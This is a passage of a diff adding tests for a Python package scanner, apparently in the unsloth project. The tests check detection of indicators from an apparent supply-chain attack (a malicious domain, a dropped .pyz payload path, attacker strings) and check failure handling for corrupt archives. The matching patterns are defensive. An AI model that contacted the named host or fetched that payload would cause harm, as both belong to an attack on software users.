test_re_may12_ioc_catches_each_literal(): + expected_literals = [ + "git-tanstack.com", + "/tmp/transformers.pyz", + "transformers.pyz", + "With Love TeamPCP", + "We've been online over 2 hours", + ] + pattern: re.Pattern = sp.RE_MAY12_IOC + for lit in expected_literals: + assert pattern.search(lit), f"RE_MAY12_IOC missed literal {lit!r}" + # Clean control: a plain string with none of the literals must not match. + assert not pattern.search("import numpy as np") + + +@pytest.mark.skipif( + not _MAY12_AVAILABLE, + reason = "Fork 1 (RE_MAY12_IOC integration) not merged yet", +) +def test_may12_ioc_caught_by_scan_archive(): + """Once RE_MAY12_IOC is wired into check_py_file (per Fork 1's + plan), the malicious wheel's setup.py must produce a finding + that explicitly references the May-12 IOC string. + """ + findings = sp.scan_archive( + str(FIXTURES / "malicious_wheel.whl"), + "malicious_fixture", + ) + # The IOC literals are built at runtime so CodeQL's + # py/incomplete-url-substring-sanitization rule does not false- + # positive on the (literal `in` operand) pattern -- the operand is + # the scanner's own evidence string, not a URL being sanitized. + # Runtime construction also survives pre-commit reformatting that + # would otherwise detach an inline lgtm comment from the operator. + _ioc_host = "git-tanstack." + "com" + _ioc_drop = "transformers." + "pyz" + hit = any( + _ioc_host in (f.evidence or "") + or _ioc_drop in (f.evidence or "") + or "may12" in (f.check or "").lower() + for f in findings + ) + assert hit, ( + "RE_MAY12_IOC integration missing; findings = " + f"{[(f.severity, f.check, f.evidence[:80]) for f in findings]}" + ) + + +# --------------------------------------------------------------------------- +# Silent-failure-class hardening (Fork C). +# --------------------------------------------------------------------------- + + +def test_scan_packages_pip_download_failure_propagates(tmp_path): + """A pip download failure must NOT be silently swallowed into a + `0 findings, exit 0` report. Item (4) of the silent-failure + hardening: an obviously unresolvable spec is fed to the scanner + as a subprocess; the orchestrator must exit 2 (scan incomplete) + and the stderr must carry the SCAN INCOMPLETE banner. + + The spec name is deliberately long + random-looking so it cannot + accidentally resolve on any real package index. We do not rely on + network reachability: even an offline runner will get a clean + "could not resolve" failure from pip. + """ + script = REPO_ROOT / "scripts" / "scan_packages.py" + assert script.is_file(), script + unresolvable = "pkg-that-does-not-exist-0123456789-fork-c-silentfail==0.0.0" + proc = subprocess.run( + [sys.executable, str(script), unresolvable], + cwd = str(tmp_path), + capture_output = True, + text = True, + timeout = 180, + ) + combined = proc.stdout + proc.stderr + assert proc.returncode == 2, ( + f"expected exit 2 (download failure -> scan incomplete), got " + f"{proc.returncode}\n--- stdout ---\n{proc.stdout}\n" + f"--- stderr ---\n{proc.stderr}" + ) + assert "SCAN INCOMPLETE" in combined or "pip download failed" in combined + + +def test_archive_corruption_produces_critical_finding(tmp_path): + """SF1: a corrupted wheel (truncated bytes) used to be silently + skipped by `except Exception: continue` inside iter_archive_files. + It must now yield a CRITICAL `archive_corrupted` finding. + """ + bad = tmp_path / "broken-0.0.1-py3-none-any.whl" + bad.write_bytes(b"X") # 1-byte "wheel" -- not a valid zip container + findings = sp.scan_archive(str(bad), "broken_fixture") + assert findings, "scan_archive returned 0 findings on corrupt wheel" + corrupted = [f for f in findings if f.check == "archive_corrupted"] + assert corrupted, ( + "no archive_corrupted finding; got " + f"{[(f.severity, f.check) for f in findings]}" + ) + assert all(f.severity == sp.CRITICAL for f in corrupted) + + # Same check for a corrupted tarball. + bad_tar = tmp_path / "broken-0.0.1.tar.gz" + bad_tar.write_bytes(b"not-a-real-gzip-stream") + findings_tar = sp.scan_archive(str(bad_tar), "broken_fixture") + corrupted_tar = [f for f in findings_tar if f.check == "archive_corrupted"] + assert corrupted_tar, ( + "no archive_corrupted finding on corrupt tarball; got " + f"{[(f.severity, f.check) for f in findings_tar]}" + ) diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py old mode 100755 new mode 100644 diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py old mode 100755 new mode 100644